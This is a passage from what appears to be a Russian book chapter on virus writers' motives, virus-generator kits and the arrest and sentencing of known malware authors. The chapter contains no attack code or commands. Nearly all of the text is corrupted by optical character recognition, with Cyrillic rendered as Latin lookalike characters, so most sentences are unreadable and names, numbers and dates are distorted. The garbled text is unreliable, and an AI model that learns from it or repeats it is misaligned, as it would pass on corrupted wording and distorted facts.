HHTb h ooAee npoABHHy rbix. coBceM He naminaioimix nporpaMMHCTOB, 
xecxupyiomiix cboh np0<J)eccH0HajibHbie bosmojkhocxh nocpeAcxBOM 

HailHCaHHH He «BIipVCOB B0 0 6m e», HO CA02CHMX B H3rOTOBAeHHH KJiaC- 

cob cam opasm hoak jinhx«i nporpaMM -  pe3HAeHTHbix BiipycoB, Biipy-
COB-HeBHAHMOK, IIO/IHMOpcflHMX H nepMyTHpVlOlUIlX BlipVCOB H npO'lHX. 

« Ca.MoyxBepxviaionih e ca »  BHpyconncaxeAH, KaK upaBiuio, ne BbinycKa- 

K)T CBOH XBOpeilHH «B  CBCX». B KpaHHCM CVIViae OHH MOrVT IIOXBaCXaXbCH 

cBoen pa6oxoft nepeA xoBapHineM h ah  riocJiaxb ee n p o cf > e c c h o h a a  b h omy 

B w pycojiory  -  «n a  bchkhh c jiv 4 a ii>> h «A Aa koaacku h h*.

1 .6 .2 .  «H ecTO /iK )6ub i»

HM eex cMbicji BbiAe.iHXb b OT/ieAbHyio -  oneiib  oo jib iiiy io ! -  rpyn n y  

BHpyconncaTe/ieii. oaepKHMUX cAaBoii. M m  AocvraBAaeT HeMa.noe yaoB- 

jiexBopenne yiioMHiianHc co6cxBennoro HMemi h ah  npo3Biima b cbh3h
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c  p acn p o cT p aH e H M eM  h u h  a K T H B a m ie ii T o r o  m h  h h o t o  xB op eH H H . O h h  He 

TOJibKO B b in y c K a io T  c b o h  T B o p e n iif l  b  CBeT, h o  h . K aK  n p a isH Jio , B C T a B .iflio x  

b  c b o h  B iip ycb i TeKCTO Bbie «K o n H p a H T b i> . HanpHMep, K Jia c c im e c K H ii BH 

p y c  Eddie. 1800 H 3B em aJI, HTO

This program was written in the city o f Sofia
(C) 1988-89 Dark Avenger.

3a6aBHO, ho 6biBa.HH cjiynaH, K oraa b  Jiv'sax mv>koh «c jiaB b i» Henponb 

6hi.nn norpexbca jiio/ih, HMeioiUHe k  BHpycoriMcaxejibcxBy BecbMa oxaa- 

jieHHoe OTHOiueHne. HanpHMep, b cepe/nme 1 9 9 0 -x  ro/joB b  3X0-k0iic|x>- 
peHHHii rekom .com p.v iru s  o ah h  mo.toaoh qejioBeK «ckpom ho npH3iia- 
Bajicsi* b  aBTopcTBe BHpyca «H a x a c »  (x o th  Ha caMOM .gene ceMeiicxBO 

BblCOKOC.nOJKHbIX H IHHpOKO pacnpOCTpaHeHHbIX no.TOM0p(|)HbIX BHpycoB  

Natas C03aaHC) aMepHKaHCKHM IIJKOJIbHHKOM /I>KeHMCOM /IjKeHXHJie). 

A B O^HOM H3 riony/WpilblX MOCKOBCKHX HaiOB flpyTOH lOIIOIIja XBaCXajI- 

ca  3HaKOMCTBOM co cTyaeiiTOM M F Y  -  aBTopoM BHpyca «BaHxaji<}.>» (n a  

caMOM ne.ie 3HaMCHHTbiH Biipyc OneHalf.3554 nanhcan  b  C/iOBaKim, 

a 0CTa.nbHbie npe/icTaBHTe/ni axoro ceMeiicxBa ab jm ioxca ./nniib 6o;iee h jih  

MeHee vfla^iHbiMH Mo;ui(f)HKanHMMH opiirHHa;ia, Bbmo/ineiiHbiMH iip yn i-  
MH .'IIO^bMH).

O tm c t iim , h to  b BH pycax, na im caH H bix H ecTo;no6 uaM ii, H epeaKH  «u iv x -  

k h »  -  TpojiHCKHe (f>parM enibi, npH 3BaiiHbie npHBJie^b b on pe iie jieH H b in  

MOMeirr BHHM aime n o .ib soB axejia . M o jk h o  B b iaeanTb  c jiez iy rom n e  rp yn -  

nbi u iv to k :

O i icnojiHaioiuHe pa3JiH’iHbie mcjiooth , KaK, HanpHMep, 3naMeHHXbiH 

«MV3biKajibHbiii» Doodle-2C.2885;
O  B b iB o zw m H e Ha 3 K p a n  3 a o a B H b ie  ( n  He o m c iii , )  H 3oopa>KeH H H , KaK, 

HanpHMep, «6 e r y im i i i  aBxoM ofin/ib 'iiiKo BH pyca Ambulance.796;

S .V

P h c .  1 . 2  ❖  npoflB/ieHne BHpyca 
Ambulance.796

O 0T06pa>KaK)mHe p asH o o o p a s iib ie  xeKcxbi, npH 3BaHH bie n an y ra x b ,  

03a;[at(H Tb h jih  noaaoaBHXb noJib3oBaxe;iM, KaK, H anpH M ep, H3Becx- 

HbiH BH pyc  Condom.1581:
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...H cnonb30BaH H bie n p ea ep B a rm b t  
fl/ib/Byr Hecnew HO n o  M ocK B e-peK e.
B B ofle  mx nosQT K o o n e p a rm b i 
M cyiuaT aa yrnoM  H eB^a/iexe...

h  t . n.;
O HMHTiipyiomHe annapaTHbie c6oh b paSoTe KOMnbiOTepa, KaK, 

HanpHMep, crapHHHbiH <-H3paM;ibCKHii» B iipyc Jerusalem.1808, 
KOTopbiii aaMezumjr paooTy KOMnbiOTepa, h jih  6ojiee no3/iiiHH 

Kaczor.4444, H3peaKa nojieprHBafoium i DKpaif c uejibio H3o6pa- 

3Hn> HencnpaBHocTb aHcn.iea w ra  BH/ieoKapTbi;
O HaKOHeit, OTKpoeeHHO ^ecTpyKTiiBHbie -  6jiOKnpyK)U-( IK: pa6oTy 

KOMnbiOTepa h yHHm ojKatom iie nporpaMMbi h  /aiiiibie, KaK, Ha- 
npiiMep, neqajibHO 3HaMeHHTbift Win32.CIH.

BnpoMeM, nocJie^HHH cJiyvaH yace n ep e cT y n a e T  paMKH 06biKH0BeHH0- 

ro  030pCTBa h  ^ B jra ex ca  MpKUM npoHBJienneM  n e  H ecTojno6Hfl, h o  B o cn a - 

jieH H o ro  caMO.'no6n5i.

l ]e c ro jiio 6 iiy  BajKHO MHenne oKpyacatomux o CBoeii pa6oTe. Il03T0M y 

on TaK KimiTCH (jjaKTOM HaJiHMHH ccbiJiKU na cboii BHpyc b pery jiapn o 

o6iioBj[aeMbix «BiipjiiicTax» -  Biipycojioni'iecKHX 6rojuieTeHHX h K a - 

ra jio rax , HanpHMep b VIRLIST.WEB H. flaHHJioBa, BbinycKaBiueMca 
bo BTopoii no jioB im e 1990-x ro^oB, hjih b ^BnpycHOH 3HnHKJioneziHH» 

E. K acnepcKoro, flocTynHoii b HaxepHeTe b nacToamee BpeMH. IIpH stom  
>KejiaTejibHO, mto6i,i BHpvc 6bui He npocxo ynoMHHVT b paay 6e3JiiiKiix 

OJIHOTHIlHblX TBOpeHHH, HO OTJLHHaJICH KaKOH-TO «H3K)MHHKOH». /Ijlfl 3T0- 
ro 6o.nee cnocoDHwe BH pycoiiiicaTejin  ncnojib3yioT b cbohx TBopennax 

i h;t p h b h a ji b h bi e ajiropHTMM, Menee cnocoSHwe -  TmaTca v;ihbhti> h no- 

pa3HTb OOHJIHCM lUVTOK HJIH »veCTOKOCTbfO /leCTpVKUHH. KcTaTH, V MHO- 

ra x  Bce-TaKH XBaTaeT VMa He pacnpocxpaw iTb 3apa3y no  oKpyre, a cpa3v 
nocjiarb  ee B iipycojiorv, cuao/mB cfjajibWHBoii HCTopnen o «TOTaJibHOi1 

3HH7ieMHH H tfCVTKHX pa3pyilieHHHX». B KOHIje KOHIJOB, npHcyTCTBHe 

b BupjiiicTe rapaHTHpoBano h b stom  c jij^ a e  t o  ace.
IO h o m y  HecTOJiioouy ;iocxaBJi>ieT y/iOBOJibCTBiie n rp aT b  b K p y ry  apy3eft  

p o jib  «aeM OHHM ecKOH jiiihhocth* ii ooJiaziaTejifl H eK oero  «T eM H o ro  3Ha- 

hhh». r ip n a T H o  c p e a n  TOBapnmeH-CTyzieHTOB b oHepejjH n e p e a  Cycjxrn ioii 

CTOHKOH He6pe>KHO 06p 0HHTb: « 1IepT  B03bMIl, MTO-TO HHK3K He OTJiaJKy 

H O B yroB epcH ioC B oeroB iipyca>> ... foBopHT, 3Ta c n e n a  jte iiCTBH TejibH O m ie- 

,'ia MecTo b  o jih om  H3 BV30B to jiH  H 0B0CH6Hpt'Ka, to Jin E K a rep H H o y p ra  

H 3aKOHMHJiaCb... <f)H3U'ieCKHM B03;jeHCTBHeM Ha 4>H3H0H0MHK> BHpyCO- 

iiHcaTcjiH c o  cTopoHbi HH/iHBH/tvvMa, n o c rp a jia B in e ro  o t npe^biaymeH 

BepcHH ynoMHHyToro BH pyca.
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B epoaT H O  TaKJKe, h to  w iipoK aa  pacnp0CTpaHeHH0CTb BcanecKoro  

p o aa  rnyTOK b  KOMnbiOTepHbix B n p y c a x  o6bacH aeTca CBoero po/ia Tpa- 
aHUHeii, B ocxoaam efi k pamiHM onbiTaM b  ccjiepe BupycoiiHcaTe/ibCTBa. 
IIpe/icTaBbTe ce6e rimoTeTHHecKoro aBTopa BHpyca Vienna.648, ko- 
Topbift 3anycTHJi cBoe T B o p em ie  b «anK yio  n p n p o / iy »  ii c HeTepnemieM  

>K/ieT peayjibraToB. IJpoxoaaT  ami, Heaejni, Mecanid... Hhk3koh peaKunn. 

Bee npaBHJibHO -  orpoMHoe kojihhcctbo  KOMnbroTepoB b  MHpe y x e  3a- 
pa>KCHO 3thm  BHpycoM, ho n0Jib30BareJin B0 0 6 iue HHnero em e He anaioT 
o KOMnbioTepHoii 3apa3e, a caM  s to t  BH pyc HacTOJib/co aKKypaTHO H ann - 

caH, h to  He KOHf^JiHKTyeT c a p y im iH  n porpaM M aM H  h  n03T0My npaKTH H e- 

ckh  He3aMeTeH. J laaHO, pernaeT aBTop, mbi caeJiaeM TaK, hto6bi H a B iipyc  

oGpaTHjm BHHMamie -  aorm m eM JiecrpyKTHBHbiH (fvpar.MeHT, KOTophiii 

b nanajio HeKoropbix nporpaMM BcxaBJiaer KOMaHabi nepe3arpy3KH kom- 
iibioTepa. I i  -  cae juu i!

HiiTepecHO, KaK noBepny/iacb 6bi iicTopua, ecJiH 6bi aBTopbi nepBbix 

BnpycoB ztejiaiiH 6bi ynop He aa naKocra c hvjkhmh KOMnbroTepaMH, a Ha 

He33MeTH0CTb II HeVJIOBHMOCTb CBOHX TBOpeHHH?

1 .6 .3 . «M rpOKm

ITpeACTaBii'rejieii. stoh rpynnw o&beaHHaer a3apr npoTHBoaeficTBHa aB- 
TopaM amiiBiipycHbix nporpaMM. H aa cosziaHHeM aHTHBiipycoB oomhho 

Tpyairrca ne ozu«i hcjiobck, h co3aaioTca, OTJiasKHBaioTca 11 coBepmen- 
cTByroTca ohh b TeneHHe mhothx JieT. KaK pe3yjibTaT aHTHBiipycbi -  6y/(b 
to  AVP E. KacnepcKoro hjih DrWeb 11. /laHHJioBa -  npeacTaBJiaioT co- 
6011 oneHb cjio/Kiibie nporpaMMHbie KOMruieKCbi, ocHOBaaawe Ha HerpHBH- 
a.TbHbix ajiropHTMax. 1Ito  mojkct owTb VBJieKaTe.ibHeii, <ie.w ripoTHBono- 
CTaBHTb cboh HHTejLieKT HHTeji jieKTy rpynnw BHpycojioroB -  HamicaTb 

HeHTo HeBHaHMoe aJia aHTHBHpyca, H36eraiomee paccTaBJienabix hm jio- 
BymeK 11 KanKaHOB. no Mepe aeooxoanMocTii paccbiriaiomeeca Ha Harm  

h Boccoaaaroiyeeca BHOBb, He noaaaiomeeca aHa.iiH3y  h  HeH3JieHHMoe?! 
Kan H3BecrHo, Hrpa -  sto  naryoHaa CTpacTb. O/jhh npoBoaaT Benepa b 

Ka3HHo, apyrHe -  nrniiyT BHpycw. IIpoTHBoaeifcTBHe noanac ajniTca ro- 

aaMH. Bee 6ojiee  h 6o;iee cjiojkhwc 11 H3ompeHHbie o jie K T p o n a w e  mhk- 
poopranw3Mbi» BbinapxHBaioT H3 pyK bh pyc onhc axeji cm  . ny6jniKyiOTca 

b 3JieKTpoHHbix vKypnajiax h jih  HanpaMyio nocbuiaiOTca BnpycojioraM: 

a b o t  nonpooyHTe-Ka pasraaaTb Moii hobw h pe6yc! IIpHMepHO ao  2005 r. 
HMeHHO 3TO np0TIIB060pCTB0, HJieOJlOrHHeCKH BOCXOflamee K  a(J)OpH3My 

F. K. MecTepxoHa: «npecTyriHHK -  TBopen, cbimnK -  KpnTHK>>. -  pa3BH- 

Bajio h aBHrajio Bnepea KaK BHpycHbie TexHo.normi, TaK »  aHTHBHpycnyio 
HayKy.
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1 .6 .4 .  «X y jin raH b i u  BaHAajibi*
B 3 t v  G o j i b w y i o  rpynny m ojkho co6paxb f i h u h bh/iv vmo r  c  peayuHpo- 
BaHHblMH npe/lCTaBJieHHHM H o  MOpaJIH. H x  OObTTHO H H T e p e c y io T  B on po- 

c m  ncn0Jib30Baini>T BirpycoB b  KanecxBe CBoero pozia «K O M n b K )T e p n o ro  

opy>KHH>> h jih  «B o p o B C K o ro  HHcxpy.vieHTa>>. TBopnecKiie n o x y r a  npea- 
CTaBHTe.neii sxo ii r p y n n w  HanpaBJieHbi na pem eH H e KO iiKpexirbix saziay 

HanpiiMep, i ia c o jn ix b  «nejno6H M 0M y» H a'iazib in iK y h ;u i nanyraxb «neyBa- 
acaeMyio» opraHnaanmo.

flepeziKO axil jikjah zia»ce He hbzihioxch < ■ k o j\ b ko - hh oyzt b ciuibifbiMH 
nporpaMMHCTaMH, a hcrojib:\yroT cjierKa M0ZUi(|>HHiip0BaHHUc nyjKiie 
BHpycbi hjiu Jiaxe nporpaMMM-reHepaxopw Tima VCL, NRLG, PS- 
MPC, Kv3jt h zip. %nsi aBTOManiqecKoro co3flaiiHH coocxbchuhx «6om6» 
(cm., HanpiiMep, puc. 1.3). AMepvucaHUbi HasbiBaiox nojio6Hbix zieflTejieii 
«script kiddies ».

1 ©  r pHep^Top Bupycoe i B B

Oai l̂n rioMomb

0  IE |  j f c  AonojihMTe/ibHo | @  yBeAOMJiehMe | &  Cboh k o a  f

C P  Coo6meHHe i 6 *  npuKonbi i| ^  CTaHaapTHbte | X  3nbift myTKM |

□  OTKptJTb CD-ROM
□  CKpblTb pa604MM CTO/1 

O  KnacomecKMpi np0B0A H «

□  CKpblTb CTpe/TKM y OpnblKOB

n  3anpeTMTb Ancney-tep BajvaM
□  3anpeTMTb pea aK T o p  peecTpa

O  nOMHCTMTb nVCK
□  3anpeTnrb oTKpbtTHe exe
□  flMCKOTeKa
n  MMHM(*13npOBaTb Bee OKHa 

n  06MeMSTb Ha3HaMeHMe KHOTIOK MbtUJH
□  3acTaeMTb TpemaTb (JmonnHK 
n  B bO ueaT b  nHCK CHC Tem oro flm aM M Ka

□  Hoeoe Ha3eaHMe ana KopsiHbi /i awe pa |noMofka natiepa
□  HaneHMTb perMCtpauMOHHbie aaHHbie

M «  n a n e p a  OpraHHHUMK

[FiaixyuiKa[flawep

Pmc. 1.3 ❖ TeHepaTop npHMMTMBHwx BHpycoB «Ky3H»

1.6.5. «K0pblCT0/IK)6Mbl»
B nepBbie ro/ibi XXI BeKa b cbh3h e cvm ecxBeH H biM  yc .ao ^ iie iiH eM  hh- 
4)opManHoiuibix TexHQJiorHH, iicrio.nb3yeMbix npw cosaamiii uporpaM M - 

n o ro  o 6 e c ii ( " ie m in  (b  tom  nnc.xe h KOMnbiOTepHbix B H pycoB ), BHpvcomi- 
caxejno-oflHHOHKe cxanoBH Jiocb Bee TpyflHen h xp y z in e ii cnpaBHTbcsr co



Kto  h 3aneM nwueT B u p y c b i ❖ 41

CBoeii 'M ji'dneii. Bee name h name Biipycbi 0Ka3MBa.mcb ii/ioaom koji.tck- 
TiiBHoro TBopnecTBa, Bee oxoTHeii h oxoTneii BHpyconHcaTejiH oo'beaHHH - 
JiHCb b rpvnnbi /i;i« peajiH3anMH cbohx He caMhix npocTbix «npoeKxoB». 
B nraHMHOH rpynne npncyTCTB0Ba./i0 «pa3iie.TOHHe Tpy;ia»: o^hh 3ami- 
MajIHCb HCCJie/IOBaHHCM HOBbIX enoeo6oB npOHHKHOBeHHfl B CHCTeMy, 
Apyrne nnca;m He3aBHCHMbie cf)parMeHTbi BnpycHoii nporpaMMbi, TpextH 

KOMnjieKTOBaJiH H3 3thx c^paraeHTOB ooiuhh «npoayto>, a HeTBepxbie 

paenpoeTpaHHjXH «3apa3y* h 3a\ieTa.TO c/ieflbi. HepeiiKo iio;io6h<x' coo6- 
mecTBO npHo6peTa.iio xapaKTepHbie npii3HaKH KpiiMHiiajibnoii opraHH3a- 
UHH. B fleHTeJlbHOCTM T3KHX ipynilllpOBOK CXaJlH npOHBMTbCH MepTbl, xa
paKTepHbie ixnsi eaMbix HacTOHiunx «iu aeK » h «6 aH ;i»: zieMOHCTpaTHBHbie 

«aKUiiH ycTpameHHH» (Haripmiep, KHniumpoBafrae MaceoBbix annneMnii 
BiipyeoB, caMoyHHHToacaiomHxcH nocjie sapaHee oiipeaejiennoii flaxbi), 
B3aHMOnpOHHKHOBeHHC B ZtpVI'He c4>epbl IIOJiyKpHMHHa.TbHOrO H KpiiMH- 
na/ibnoro 6n3Heea (ne6e3B03Me3;moe. «napTH epcK oe» npeflocTaBJieHHe 

cbohx yc.nyr pacnpocTpaiiHTejiHM cna\ia h npoMbimJiemibiM miiHonaM), 
«pa300pKH> c Bpa*ayK>miiMH opraHH3anHa.MH (pacnpocTpaHeHne «6oe- 
Bbix» BiipyeoB, VHH'rro>KaioiHJix anajiorHTOHe nporpaMMbi nyjicoro «npo- 
H3Bo;iCTBa->) ii t. n. 3 to  oGcTOHTe.xbCTBO c Kaac/ibiM roaoM 0Ka3biBa;i0 Bee 

6onee cnjibHoe B/niHHHe i-ia BHpycnyro cirryaniiio b MHpe. I i  HaKonea, 
k 2005-2006 roaaM oiihhomkh -  « cawoyTBep>KaaioiunecH». «HecTOJiio6- 
nui>. «nrpoK ii» h aa>Ke «BaHflajibi» -  Bb iM ep .ra, cjtobho m&mohtm. B ot  

yace mhoto :ieT ochobhvio Maccv Bpe/ionocirbix nporpaMM (popMnpyKjx 

c.oo6m ecTBa n p o ^ ecc iio H aJ ib H o  n0 ;ir0T0B ;ieH H bix  «K o p b ic T o jn o 6 n e B ».  

IUyTKaMH oo.Tbme hhkto He sanHMacTOf, Kaacziaa BpeaouocnaH nporpaM- 
Ma BbinojinaeT Kaicyio-To npaKTHHecKii BaacHvio (/[Jin 3iioyMbim.neHHH- 
kob) 3aaany: paccbiJiaeT cnaM, noxiimaeT KOHrfm/ieiuiHajibHbie /minbie h 

peKBH3HTbi, OTKJiioHaeT santHTHbie ciicTeMbi KOMiibioTepa, ocymecTBJtaeT 

TOMe^Hbie ,aiiBepc(ii! h t . n. Hpoii3BoacTBo, pacnpocxpaHeniie h n cn o .ab - 

30BaHiie BpeaoHocHHx nporpaMM nocTaB.neno Ha npoMbiiu/ietmyio ocho- 
By, oho npe/icTaB.xaeT co6oh HH/iycTpmo, npHHOCHiuyio yyacTHHKaM Kpn- 
MHHajibHoro KOMnbiOTepnoro 6ii3Heca cothh mhjmhohob h Mii/uiiiap/ihi 
ao.xjiapoB.

Ha momcht HatiHcanHa aTiix cTpoK b oomen Macce Bpe/toHociibix npo
rpaMM caMopa3Miio>Kaioi[inx«i BHpycoB h yepBefl npucvTCTByeT MeHee 

npoueHTa. Bh/ihmo, ohh « 3KOHOMH'iec.Kn» MeHee BbiroflHH, icm  He crio- 
co6Hue k  pa3MHoaceHHio TpoaHCKHe nporpaMMbi. O/inaKO ec;in bi,i chh- 

TaeTe, hto «o;uih npoueHT -  3to Majio», to  m y 60K0 3a6jiy>KAaeTecb. 3 to  

aeCflTKH HOBbIX BHpVCOB H 'lepBCIf B TO/I, 3T0 MHJIJIHOHbl 3aBHpyC0BaHHbIX 

4)JX3iueK h TeppaoaiiTbi arpeccHBHoro ceTeBoro Tpac|)HKa.
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1.6.6. «<t>eMMAa» b 6opb6e c KOMnbiOTepHbiMM
BMpycaMM
IlepBOH nonbiTKOH ocyaHTb 3jioy MbimJiehhhKa 3a pacnpocTpaHeHHe bh- 
pycoB obuio <<ae^o M oppnca». B mviajie viosiopa 1988 r. ero 3naMeHH~ 

Tbift MepBb «n ocen w » 6ojibiuoe ko/ihhcctbo (okojio 6200) KOMnbioTepoB, 
iioAKJUOHenHbix k r.iooa.Tbiiott ceTii ARPANET -  npoToniny HbiHexune- 
ro HHTepHeTa. xlepBb He npeanpmiHMaji hhk&khx ^ecxpyKXHBHbix aeft- 
ctbhh, ho &jiaroaapH omn6Ke Moppuca cKopocTb ero pa3MnoaceHHH 0Ka- 
3ajiacb Bbirne 3anJiaHiipoBajmoii. Hostomv b pe3yjibTaTe pa3MHoaceHHH 

BHpyca cexenoH xpac}>HK h narpy3Ka na nponeccopu jioKajibHbix KOMnbro- 
TepoB cymecTBeHHO Bospoc.xii a  b pime c;iyHaeB npHBe/iH k hcbo3mo>kho- 
cth HopMajibHoft pa6oTbi‘ . C y a  npuroBopHJi Po6epTa I la T T O H a  Moppiica 
k Tpe\i Meoiuaw nopbMbi h KpynHOMy aenejKHOMy iiiTpa^y

B nepBoii nojioBime 1900-x roaoB nonajra b riojie apet-ma npaBooxpaiui- 
Tejibiibix opraHOB. ho cyMe/ni H36e2Kan> Kpynnwx nenpnaTHocTeH aBCTpa- 
jihhckhh cxy/teiix Kjihhtoh FeiiHH (aBTop BupvcoB Dudley n NoFrills) 
II aMepHKaHCKHH IIIKO.’IbHIIK /lyKfilMC /lyKCHTHJKI (C03iiaxejlb BHpVCOB
SatanBugH Natas). Hyrb MeHbme noBe3Jio aiirjiHHaHHHy CTe^eHy Kann- 
cy, Jiii/tepy bhpycoi ihcaxe jibckoii rpyrrnnpoBKH «A R C V  -  Association of 
Really Cruel Viruses*. -  oh 6bui apecTOBan b 1993 r„ nexoTopoe BpeMH 
HaxoziHJicH nojx cjieacTBHeM. ho b m ore HaKa33HHH Bee ace H36eaca.fi.

LLhtpoKHH pe30HaHC noJiyiHJio TaKace «a,ejio 4epHoro bapona». 
B 1995 r. b Anr/imi obi.x apecTOBaH 26-Jiexmiii xaKep h BHpyconncaTejib 
Kpiic flail ji no npo3BHmy Black Baron. Ewy hMKpiiMHHupoBajihci. KaK 

C03IiaHHe BblCOKOCJIoaCHOH IIOJIHMOp(|)HOH TeXHOJIOrilH SMEG H BHpy
coB Ha ee 0CH0Be, raK u pa/i HecaHKHHOHMpoBaHHbix upoHHKHOBeHHH 
b nyauie Bbi4h cjihTejibhbie chctcmm. B xoae cyfle6Horo pasGiipaTe.abcxBa 
Bbiacnimocb, hto caM 4>aKT HaiiHcainw KpaiiHe cjioacntix a jix  o 6 m p y ~  

acemw h H3JieHeHiia caMopa3MHoacaiomHxcH nporpaM M  npe cry m enu  cm 
He HBJiHeTCH, xoxa HMeinio sto oocxoaxeJibcxBO oojiee Bcero pas/ipaaca- 
r o  iipo^jeccuoiia.xbHbix BiipycojioroB -  aKcnepxoB no ae;iy Oaiijia. 3aT0 
IlaHJia ocy/uuiH 3a VMbiiu.xeHHo BcxaBJienHbie b Biipyc SMEG.Pathogen 
aecTpyKTHBHbie cjjparMeHTbi h 3a KOMnbiOTepHbie «b3jiomm». -c^epHbiii 
BapOH» IIOJIVHHJl 18 MecaueB TlOpbMbl.

riocjie/uuie ro.abi X X  BeKa 03HaMeH0Bajmcb paaoM Bupyciibix nan/ic- 
mhh , cTaBiiiHX B03M0acHbMM Gjiaroaapn noBceMecTHOMy pacnpocTpaHe-

1 Iloiipo6Hee 06 stom HHixnaeHTe m o*ho npoiHTaTb b raaBe, nocBflmeHHoft ceTe- 

BLIM WCpBHM H BHpVCaM.
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hhk> rjio6ajibH OH  ceTH MirrepHeT. B a n p e jie  1999 r. MHp 6hu i noc/ie/roBa- 

TejibHO noTpnceH cH a^ajia  axaKoii BHeniHe 6e3o6n / in oro  ceT eB oro  nepBft 

M e l i s s a ,  aanojiH H B inero cbohm h 6ecK o irrpoJ ibno  pacnpocxpa iiflrom H M H - 

ca KoniiaMH ^aace KpynH bie KaHa.xbr KOMnbiOTepHbix KOMMVHHKaiiHH, 

a 3aTeM -  KaTacxpo(})HM ecKoft aKXHBarmefi aecxpyKXHBHOH n p o ije ^ y p b i 

B H p y c a  W i n 9X . C I H .  IT o .th u h h  pa3Hbix cTpaH cpafioxa.xM o n ep a ra B H o  11 

B KOpOTKHe CpOKH o6napy>KHJIH 3JIOyMbIlHJlC:HHHKOB -  ilSBH/ia C m h tb  H3 

Hbio-JJacepcH  h  TaHBaHbCKoro cxv/renxa MeH P Io t  X ay. I Ip o K y p o p  Tpe6o - 

Baji h jih  CMiiTa 15 Jie r, h o  b H Tore cy ;t orpaHHHHJicH 20 MecsmaMH 3aKJiio- 

HeHHa b cf>e/iepa.nbHOH n o p b M e  CIIIA . A  M en  Mur X a y  noBe3.no em e  6o;ib- 
u ie  -  e ro  cyflmra n o  TaHBaubCKHM 3aKOHaM h  b p e3y jibTaTe jynixejibnoro 
pasonpaTejibCTBa nocHHxajm aaeKBaxubiM  HaKa3aHiieM cp o K  aaicinoMerrHfl 

n o a  C T p a * y  Ha axane  cJieacTBiui; Ha no jrbay cm v c u rp a jio  t o  0 6 cT 0HTe.nb- 

c tb o ,  h to  KaK pa3 Ha Tail s a n e  BH pyc He npon3BeJi M acu iTa6nb ix noBpeac- 
aeH H il

B HOBOM BeKe IIH(|xjpMaiUIH O HOBbIX HHUHfleHTaX nOTCKJia UIHpOKHM 

noTOKOM c o  Bcex k o h h o b  CBeTa. B 6oJibuiHHCTBe c.nynaeB pe>tb uu ia o  non- 
xoBbix ii ceTeBbix nepBHX -  nporpaMMax, KOTOpbie c y jK aca tom efi cK op o - 

CTbio pacnpocTpaH H .m icb no I'lHTepHexy, sapaaca# b Te'temie necKo/ibKHX

CVXOK ^CCMTKH H COTHH TbICH'l M3IIIHH.
OceHbro 2000 ro,ga 6m;i apecxoBaH (ho b iiTore cy.Me.x H36e>Kaxb HaKa- 

3aHiia) 4)ii.nnnnnHeu Oiiejib ae Fy3Man, o6BHHeHHbiii b co.'yrannn Biipyca 
V B S . L o v e L e t t e r .

B 4)eBpajie 2001 r o ^ a  caM npmue.’i b r io / i i m H io  h  n o J iy H H J i 150 ' j a c o e  

iicnpaBHxe/ibHux p a 6 o x  r o j i j i a n f l c K i i i i  iiiKOJibHHK H h  a e  But ( r o B e c T H b i i i  

K a K  O n T h e F l y ) , bhhobhm h b c o 3,g a H iii i  h p a c n p o c x p a H e H H H  M epBH  « A H H a  

K y p H H K O B a # - (o h  a t e  V B S . L e e ) .  / l e K a o p b  x o r o  x e  r o / r a  c x a .a  « c \ 7 tH b iM  

aiieMx- b  c y / t b o e  nexbipex H3paii;ibCKHx m K O jib H H K O B  -  a B T o p o B  B i i p y c a  

N e t - W o r m . G o n e r .

B 2003 r. 3a co3/iamie h pacnpoerpaHeHHe b Mm-epHeTe Hep Beit Net- 
W o n n . G o k a r ,  N e t - W o r m . R e d e s i  11 N e t - W o r m . A d m i r e r  yroauji 3a 

pemeTKy cp0K0M Ha 2 ro/ia opiiTaeeu CaiiMOH Bsjuiop, a nyxb noaxe  

npe^cTajm nepea cyaoM aBTop BHpyca N e t - W o r m . W i n 3 2 . L o v e s a n . b  

a.MepiiKaHen /[Hcec^pn JIh IlapcoH (oh  b HTore «3apa6oTa.n» 18 Mecanen 

TropbMbi njnoc 225 liacoB oomecxBeHHbix paoox) 11 aBXop MO/iHcfjHKaHHH 

N e t - W o r m . W i n 3 2 . L o v e s a n . f p y \ i b i H  /Ian ZlyMiixpy 'lo fiany (oh  Mor no- 
JiVHHTb ot 3 no  15 /rex, ho ox/iejiajica xerKHM wcriyroM). B tom * e  ro;rv 

b pjtch mBeflCKoro npaBocy/;n>r nona.ii aBTop Biipyca N e t - W o r m . G a n d a .

«ypO/KaiiHbiM>> Bbiaa;ic>r h 2004 ro x  Sa/repxcana, npoBejia HOHb b no.XH- 
Uhh h oxnymeHa 19-;iexH>r« 6e;n,i'HHKa Gigabyte, HanncaBmaa HecKO/ib-
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ko MajiopacnpocTpaHeHHbix h HeonacHbix B iipycoB (HanpHMep, Win32. 
Sharpei). B FepManHii ripcvicTaji nepefl cyzioM 11 nojiynn ji 21 Mecau xiopb- 

m m  vc/iobho C bch  HmaH -  aBTop HeK0T0pbix paaiioBH/tHocTeH BHpycoB 
Net-Worm.Sasser h  Net-W orm .Netsky. ^emcKan no.aHnna flonpocnjia 

c npHCTpacTiieM cxyaeHTa M apeKa UIxpHxaBKy (o h  x e  Benny/29A) no 
noBo/iy aBTopcTBa nepBH Net-Worm.Slammer, b hcm oh b HTore h co- 
3na;ica, upae/ia, 6e3 HeripHHTHbix nocjie/icxBHH a.m  ce6a, riocKOJibKy 3a 

pacnpocxpaHeHHe «3apa3u» no MHpy OTBexcxBeHHhi 6h jih  coBceM flp yrne 
jiioflH. B BeHrpHH 3a HepBa Net-W orm .M agold.a 6bi;i ocy>K/ieH k 2 ro^aM  

yc/iOBHO h mxpa(|jy b $2400 hckxo «Jlac:jio K>. B xom ace ro s y  MaceBCKHH 
cy;t npnroBopMJi k abvm ro/iaM ycji0BH0 a 3000 py6. niTpacfja EBremiH 
C. (o h  ace W h a le ) 3a coa/ianne n o6napo;iOBaniie h c x o o th x  tckcxob  He- 

CKOJIbKHX « KOhijeiriya;ibhm x »  BiipycoB.
B 2005 r. apecTOBaHbi xypoK Athjijki 3khhh h MappoKaHeu Oapn/i 3c- 

ce6ap -  aBxopbi nepBeii Net-W orm .Zotob h Net-W orm .M ytob.
Man 2006 r.: b BopoHeace sa rro/mepacKy HffrepneT-catrTa, coztepacame- 

ro HecKOJibKO THCHHHyaaix BiipycoB (BKJiio'iaH n W in9X .C IH ), nojiymji 
2 ro;ia vcjiobho Ceprefl K. ('ito  ziajio riOBO/i pjifly HaiiBHbix h /lOBep'iHBbix 
oxenecxBenHbix C M H  np0B03r.riacHXb noiiMKy aBxopa <-’ IepHo6buibcKo- 
ro » BHpyca).

3hmom 2007 r. b  Knxae apecTOBaH  h  y n p a r a H  3a peuieTKy cpokom  Ha 

4 r o a a  HeKxo Cio K n iib  -  aBxop «nanAOBoro>> B H pyca. JlexoM x o ro  ace ro jia  

